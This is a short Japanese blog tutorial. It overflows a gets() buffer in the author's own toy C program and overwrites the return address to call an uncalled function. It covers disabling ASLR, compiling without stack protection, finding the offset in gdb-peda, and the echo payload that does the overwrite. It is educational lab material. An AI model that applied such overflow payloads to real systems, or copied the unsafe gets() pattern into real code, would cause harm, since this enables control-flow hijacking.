LoginSignup
5
4

More than 3 years have passed since last update.

バッファオーバーフローを起こして任意の関数を実行する。

Last updated at Posted at 2019-06-06

バッファオーバーフローを起こして任意の関数を実行する。

C言語上のプログラムでバッファオーバフローを起こしリターンアドレスの書き換えを行います。main関数から他の関数を呼び出す方法をまとめた記事が少なかったのでメモ程度に残します。

実行環境
CentOS 6.10
GNOME 2.26.2

gdb-pedaを用いるのでそこのインストールは済ませたものとします。
もしインストールしてない方はこちらからお願いします
gdbpeda超入門

まずバッファオーバしたいプログラムを用意します。

#include <stdio.h> 
#include <stdlib.h> 

int main(void){ 
 char first[] = "!!Hello World!!"; 
 char buf[16]; 


 puts(">>"); 
 gets(buf); 
 puts(first); 
 puts("that \'s All Fork!"); 
 return EXIT_SUCCESS; 
} 
int sub(){ 
 puts("Something wrong"); 
} 

コンパイル

まずASLRをoffにする

sudo sysctl -w kernel.randomize_va_space=0

コンパイル

PIE、スタックプロテクターは無効化してコンパイル

gcc -o HelloWorld -O0 -g -fno-stack-protector HelloWorld.c -fno-PIE -fno-pie -fPIC

リターンアドレスまでのオフセットを求める

まずはgdb起動

$ gdb HelooWorld

ランダム文字列を作成

$ (gdb) pattern_create 50

実行

$ (gdb) r

さっきのランダム文字列を入力する。

するとこのようにバッファオーバフローを起こし停止する
image.png

ここでRSPのアドレスの文字列をメモ

オフセットの文字列の捜索

$ (gdb)patto "ここにRSPの文字列"

これでアドレスのオフセットが求まる。
今回は40であることがわかった。

次に実行したいアドレスを調べる。

アドレスの位置を調べる前に、再度gdbでバッファオーバフローの様子を確認する。

実行

$ (gdb) r

2.適当な文字列を入れてバッファオーバフロー

そのあとdisassコマンドに実行したい関数の名前を入力する。ここではsubです。

$ (gdb) disass sub

image.png
実行したらこんな感じ

ここで一番上のアドレスをメモ。

アドレスを先ほど求めたオフセットの値だけずらして入力する。

16進数で入力することに注意。
echo コマンドを使えば便利。

今回の場合は以下となります。

echo -e 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xea\x46\x55\x55\x55\x55\x00\x00' | ./HelooWorld

結果

こんな感じでsub()関数が呼び出されていることがわかります!
image.png

感想

こんな感じで簡単ですが動作の例を書いてみました。
環境によってはなかなかうまくいかないこともあったので試行錯誤が重要だと思いました。その際にこの記事が少しでも役に立てば幸いです

5
4
1

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
5
4